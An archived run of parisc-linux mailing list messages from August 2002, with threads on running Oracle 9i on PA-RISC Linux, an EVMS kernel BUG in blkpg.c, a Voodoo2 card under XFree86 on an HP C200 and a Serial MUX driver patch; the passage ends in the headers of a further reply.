Path: news.gmane.org!not-for-mail
From: "Andr=?ISO-8859-1?Q?=E9?= - Inter Commerce Tech." <andre.alves@intercommerce.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Oracle 9i on PARISC-LINUX
Date: Tue, 20 Aug 2002 10:49:57 -0300
Lines: 11
Approved: news@gmane.org
Message-ID: <200208201049.AA167248046@intercommerce.com.br>
Reply-To: <andre.alves@intercommerce.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621635 12787 80.91.229.3 (22 Nov 2014 02:00:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 20 07:51:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intercommerce.com.br (unknown [200.246.181.97])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDB1E4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 07:51:57 -0600 (MDT)
X-Mailer: <IMail v7.12>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15863

Hello!!


Can I to run the Oracle 9i on PARISC-LINUX??


Thanks,,

Andr=E9



From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oracle 9i on PARISC-LINUX
Date: Tue, 20 Aug 2002 14:59:59 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <20020820145959.A29958@parcelfarce.linux.theplanet.co.uk>
References: <200208201049.AA167248046@intercommerce.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621635 12790 80.91.229.3 (22 Nov 2014 02:00:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Andr=E9_-_Inter_Commerce_Tech=2E?= <andre.alves@intercommerce.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 20 08:00:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C1004829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 08:00:01 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17h9Y7-0007Dq-00; Tue, 20 Aug 2002 14:59:59 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200208201049.AA167248046@intercommerce.com.br>; from andre.alves@intercommerce.com.br on Tue, Aug 20, 2002 at 10:49:57AM -0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15864

On Tue, Aug 20, 2002 at 10:49:57AM -0300, Andr - Inter Commerce Tech. wrote:
> Can I to run the Oracle 9i on PARISC-LINUX??

no

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: climent@stybba.ntc.nokia.com (Jesus Climent)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oracle 9i on PARISC-LINUX
Date: Tue, 20 Aug 2002 17:00:43 +0300
Lines: 12
Approved: news@gmane.org
Message-ID: <20020820140043.GK29051@shire.ntc.nokia.com>
References: <200208201049.AA167248046@intercommerce.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621635 12798 80.91.229.3 (22 Nov 2014 02:00:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ext =?iso-8859-1?Q?Andr=E9_-_Inter_Commerce_Tech=2E?= <andre.alves@intercommerce.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 20 08:01:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43DCE4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 08:01:02 -0600 (MDT)
Original-Received: from esvir05nok.ntc.nokia.com (esvir05nokt.ntc.nokia.com [172.21.143.37])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g7KDxBl18922
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 16:59:11 +0300 (EET DST)
Original-Received: from esebh002.NOE.Nokia.com (unverified) by esvir05nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5cd504b312ac158f25557@esvir05nok.ntc.nokia.com>;
 Tue, 20 Aug 2002 17:00:46 +0300
Original-Received: from pumuki ([172.21.190.25]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Tue, 20 Aug 2002 17:00:45 +0300
Original-Received: by pumuki (Postfix, from userid 58962)
	id 3A20827EF0; Tue, 20 Aug 2002 17:00:43 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <200208201049.AA167248046@intercommerce.com.br>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 20 Aug 2002 14:00:45.0147 (UTC) FILETIME=[FA7752B0:01C24851]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15865

On Tue, Aug 20, 2002 at 10:49:57AM -0300, ext Andr - Inter Commerce Tech. wrote:
> 
> Hello!!
> 
> Can I to run the Oracle 9i on PARISC-LINUX??

Forget about it, unless Oracle gives the sources away or decides to
compile it for Linux/PA-RISC.

J



From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oracle 9i on PARISC-LINUX
Date: Tue, 20 Aug 2002 10:18:13 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20020820141813.GB4865@systemhalted>
References: <200208201049.AA167248046@intercommerce.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621636 12800 80.91.229.3 (22 Nov 2014 02:00:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 20 08:20:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49BA14829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 08:20:29 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17h9pl-0001Sg-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 10:18:13 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200208201049.AA167248046@intercommerce.com.br>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (70% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15866

> 
> Hello!!
> Can I to run the Oracle 9i on PARISC-LINUX??
> Thanks,,
> Andr?
> 

apt-get install oracle-9i
Reading Package Lists... Done
Building Dependency Tree... Done
E: Couldn't find package oracle-9i

no :(

c.



From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oracle 9i on PARISC-LINUX
Date: Tue, 20 Aug 2002 16:23:15 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20020820142315.GI13589@charite.de>
References: <200208201049.AA167248046@intercommerce.com.br> <20020820141813.GB4865@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621636 12801 80.91.229.3 (22 Nov 2014 02:00:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:36 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 20 08:23:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with SMTP id D4DC24829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 08:23:21 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 047E415C02A; Tue, 20 Aug 2002 16:23:19 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 02F70633B3; Tue, 20 Aug 2002 16:23:18 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020820141813.GB4865@systemhalted>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15867

On Tue, Aug 20, 2002 at 10:18:13AM -0400, Carlos O'Donell wrote:

> apt-get install oracle-9i
> Reading Package Lists... Done
> Building Dependency Tree... Done
> E: Couldn't find package oracle-9i

The correct approach would be to use 

apt-cache search oracle

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
"I've not lost my mind. It's backed up on tape somewhere." - Unknown



From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] upgrade evms-1.1.0 -> Kernel at blkpg.c (need help)
Date: Wed, 21 Aug 2002 17:14:28 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3D3816EF00005526@ocpmta4.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621636 12804 80.91.229.3 (22 Nov 2014 02:00:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 21 09:14:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58F664829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Aug 2002 09:14:30 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 21 Aug 2002 17:14:28 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15868

Hi all,

To investigate in more details the 'unalign access' problem I met with evms,
I need first to upgrade to evms-1.1.0 with kernel 2.4.19.

After this upgarde, all evms tools failled and I got folowing kernel message
at the console:
kernel BUG at blkpg.c:252!                                       
evms: ldev_mgr: error(-28): creating logical disk for device(8,0).      
      

at line 250 of /drivers/block/blkpg.c I read:
...
   return put_user(uulval << 9, (u64 *)arg);
...

In fact, with message '... at blkpg.c:252!', I am awaiting 'printk(... _FUNCTION_)'.
Also I do not understand where this "BUG" is trapped(?) and which can the
actual source of this new evms problem.

Thanks in advance for all advise,
    Joel

PS: I test it on my i386 without encountering this problem.



From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] upgrade evms-1.1.0 -> Kernel at blkpg.c (need help)
Date: Wed, 21 Aug 2002 16:22:56 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020821162256.G29958@parcelfarce.linux.theplanet.co.uk>
References: <3D3816EF00005526@ocpmta4.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621637 12809 80.91.229.3 (22 Nov 2014 02:00:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 21 09:22:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C0D74829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Aug 2002 09:22:57 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17hXJw-0002vz-00; Wed, 21 Aug 2002 16:22:56 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D3816EF00005526@ocpmta4.be.tiscali.com>; from jsoe0708@tiscali.be on Wed, Aug 21, 2002 at 05:14:28PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15869

On Wed, Aug 21, 2002 at 05:14:28PM +0200, jsoe0708@tiscali.be wrote:
> After this upgarde, all evms tools failled and I got folowing kernel message
> at the console:
> kernel BUG at blkpg.c:252!                                       
> evms: ldev_mgr: error(-28): creating logical disk for device(8,0).      
> 
> at line 250 of /drivers/block/blkpg.c I read:
> ...
>    return put_user(uulval << 9, (u64 *)arg);
> ...

Aw, crap.  It now seems to be `legal' to put_user a 64-bit argument on a
32-bit system.  Someone needs to fix this in include/asm-parisc/uaccess.h

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Voodoo2 PCI as XFree86 2D board on HP9000 C200
Date: Wed, 21 Aug 2002 21:55:35 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <3D644497.7090709@charter.net>
References: <3D5E0430.2000407@charter.net>  	<20020818044613.0969E4829@dsl2.external.hp.com> <1029666136.15858.3.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621637 12813 80.91.229.3 (22 Nov 2014 02:00:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 21 19:56:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx09.cluster1.charter.net (dc-mx09.cluster1.charter.net [209.225.8.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3C44483A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Aug 2002 19:56:37 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx09.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 61682497 for parisc-linux@lists.parisc-linux.org; Wed, 21 Aug 2002 21:54:34 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15870

Voodoo2 it is then. I'm sorry but these HP graphics cards
are terrible for X. 8-bit color is really the bottom of the
barrel, and if I can get 16bpp on a Voodoo2 then its well
worth the few bucks one costs these days, plus it adds an
exotic air to the machine... "A HP workstation with a 3dfx
voodoo2 ... oooh aaah." Hmm, might even be able to find some
ancient Quake source with glide support and get it to work.

I used to have a V2 running in Linux several years ago, before
the Banshee, before the Geforce. It really did kick butt and
Quake and Quake2 were super nifty with it. I had my own version
of Mesa compiled with Voodoo2 support and was the envy of my
Linux buddies :-)

What do I do, just use the jumper cable to link the
Visualize-EG to the voodoo2, and start up X? Obviously
I will need the glide libs, but will I also need /dev/tdfx?
Can the Voodoo2 tdfx module be compiled for a 2.4.19-pa3 kernel?

What about console switching? If X is running on the Voodoo2,
and I hit Alt-F2, will it switch back to the Visualize-EG like
it should?

Alan, if you could find a few minutes to send me your XF86Config-4
for one of these boards, or otherwise post some useful tips and
hints that would be great. V2 boards are extremely cheap on Ebay
and such these days, and those monsters deserve a fitting home
in something like a parisc box rather than a dumpster.

Cheers!
- Doug



Alan Cox wrote:
> On Sun, 2002-08-18 at 05:46, Grant Grundler wrote:
> 
>>"B. Douglas Hilton" wrote:
>>
>>>Any hints or tips would be appreciated :-)
>>
>>Search the mail archives.
>>Once upon a time (2 years ago?), Alan Cox explained his ideas
>>on how to make something like this work. He had an A180 in front
>>of him at the time...
> 
> 
> I really doubt you will get a Voodoo3 to work this way. XFree have lots
> of problems with the Voodoo3 INT10 multihead even on x86 - the ROM seems
> to do some quite tricky stuff.
> 
> On the other hand a Voodoo2 should work wonderfully because its got no
> ROM, doesn't appear to be a video card and Glide2 has full source for
> bringing the board up.
> 
> XFree86 also supports using it as a 2D device, but not currently (alas
> 8)) DRI and Xv also. 
> 
> 





From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Serial MUX support for Nova and K-Class systems.
Date: 21 Aug 2002 22:49:47 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1029991787.4813.14.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621637 12815 80.91.229.3 (22 Nov 2014 02:00:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: parisc-linux-cvs@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 21 22:49:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 92BC0483A; Wed, 21 Aug 2002 22:49:48 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 2F2B62E3EA; Wed, 21 Aug 2002 22:49:47 -0600 (MDT)
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15871

Hello all,

I just committed support for the Serial MUX driver as linux-2.4.19-pa5. 

This patch has been tested on my K460 and has been working well.  The
driver uses the same /dev/ttyB0 device the PDC Software console that
Christoph Plattner wrote and is available under the Non-standard serial
ports section.


Currently the driver only supports the Eole CAP/MUX (A Direct) device
since that is all I have to test with.  Additional devices can be added
under this driver as people with systems have a chance to test.


I tried to document the driver with kerneldoc, but it would be nice if
someone would check over my comment as I had to google/guess what most
of the ioctls and tty flags were.


The committed patch can be found at:
	ftp://ftp.parisc-linux.org/patches/serial_mux_v0.1.diff


Feedback greatly appreciated!

Thanks,

- Ryan




From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo2 PCI as XFree86 2D board on HP9000 C200
Date: 22 Aug 2002 19:16:53 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <1030040213.3090.39.camel@irongate.swansea.linux.org.uk>
References: <3D5E0430.2000407@charter.net> 
